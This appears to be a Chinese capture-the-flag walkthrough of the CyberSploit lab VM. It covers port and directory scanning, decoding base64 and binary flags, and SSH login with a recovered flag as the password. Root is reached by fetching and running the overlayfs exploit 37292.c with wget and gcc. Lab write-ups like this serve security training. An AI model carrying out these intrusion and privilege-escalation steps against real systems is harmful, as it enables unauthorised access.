cybersploit
靶机准备
将ova文件导入虚拟机中,设置网络模式为NAT
从靶机描述得知包含3个flag


kali扫描其ip
netdiscover -r 192.168.164.0/24

渗透测试
namp扫描端口
nmap -sS -sV -T5 -A -p- 192.168.164.187

只开放了22、80端口
访问80端口

查看源码,发现信息

扫描一下目录
dirb http://192.168.164.187

发现robots.txt,访问

得到一串密文,尝试base64解码
成功获得flag1

接下来尝试ssh连接
利用刚才获得的username进行尝试猜测密码为flag1:
cybersploit{youtube.com/c/cybersploit}
成功登录

不是root权限

查看一下目录,发现flag2,读取

得到一串二进制数据,可能有用
01100111 01101111 01101111 01100100 00100000 01110111 01101111 01110010 01101011 00100000 00100001 00001010 01100110 01101100 01100001 01100111 00110010 00111010 00100000 01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111 01101001 01110100 01111011 01101000 01110100 01110100 01110000 01110011 00111010 01110100 00101110 01101101 01100101 00101111 01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111 01101001 01110100 00110001 01111101
使用工具将二进制转文本,获得flag2

提权
先查看系统内核版本
uname -a

是3.13.0-32-generic
查找是否有漏洞
searchsploit overlayfs

下载37292.c文件
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root

在kali开启http服务,靶机下载此文件。
python -m SimpleHTTPServer 8080
靶机:wget http://192.168.164.137:8080/37292.c

gcc编译命令:
gcc 37292.c -o test

执行脚本文件:
./test
提权成功,得到root权限!!!

进入root目录拿到最后一个flag3

cybersploit的更多相关文章
随机推荐
- Javascript - Vue - vuex
vuex 这是一个与vue配套的公共数据管理工具,可以将一些需要共享的数据保存到vuex中,以此方便项目中的任何组件都可以从vuex中得到共享数据.cnpm i vuex -S 装包 读取数据 //在 ...
- IDEA 创建Maven Web工程
一.Maven环境搭建 二.Maven常用命令 mvn clean 清除生成的target文件 mvn install 生成target文件 mvn clean install 相当于先删除targe ...
- golang——rune
byte 等同于int8,常用来处理ascii字符 rune等同于int32,常用来处理unicode或utf-8字符//可以处理中文
- roslaunch 启动时修改参数
启动命令: roslaunch beginner_tutorials turtlemimic.launch arg1:=3.0 查询命令: rosparam get /param1 可以看到param ...
- Ubuntu16.04 Linux 下无痛安装、配置Gogs
本文在Win7+VMware的ubuntu 16.04中测试,安装Gogs,Install from binary. 准备工作: sudo apt-get install git sudo addus ...
- 16 bit 的灰度图如何显示
16 bit 的灰度图如何在QT中显示 用Mat构造的 16 bit 灰度图 无法直接显示,需要转换成 8 bit 的灰度图在QT中显示, 使用OpenCV自带的最大最小值归一法, cv::norma ...
- (1)RabbitMQ在Docker上安装
1.简介 在来学习RabbitMQ时候,我觉得很有必要先把它的环境先搭建起来,这样后面的示例才能进行.因为之前自己手动在Linux服务器上搭建过Elasticsearch,当时踩过太多坑了,浪费太多时 ...
- 常见GDB命令
- Markdown主要语法及使用
最近,我发现使用Markdown这一标记语言的人越来越多了,我也去试了一下,感觉确实在编辑文档上方便了很多.于是我将一些关于Markdown的语法和编写时的快捷键整理在这里,方便以后查阅,也欢迎评论区 ...
- redis的集群安装
1.创建安装目录 在master ,node1 ,node2中分别创建 mkdir /usr/local/soft/redis-cluster 2.将redis 复制到redis-cluster 目录 ...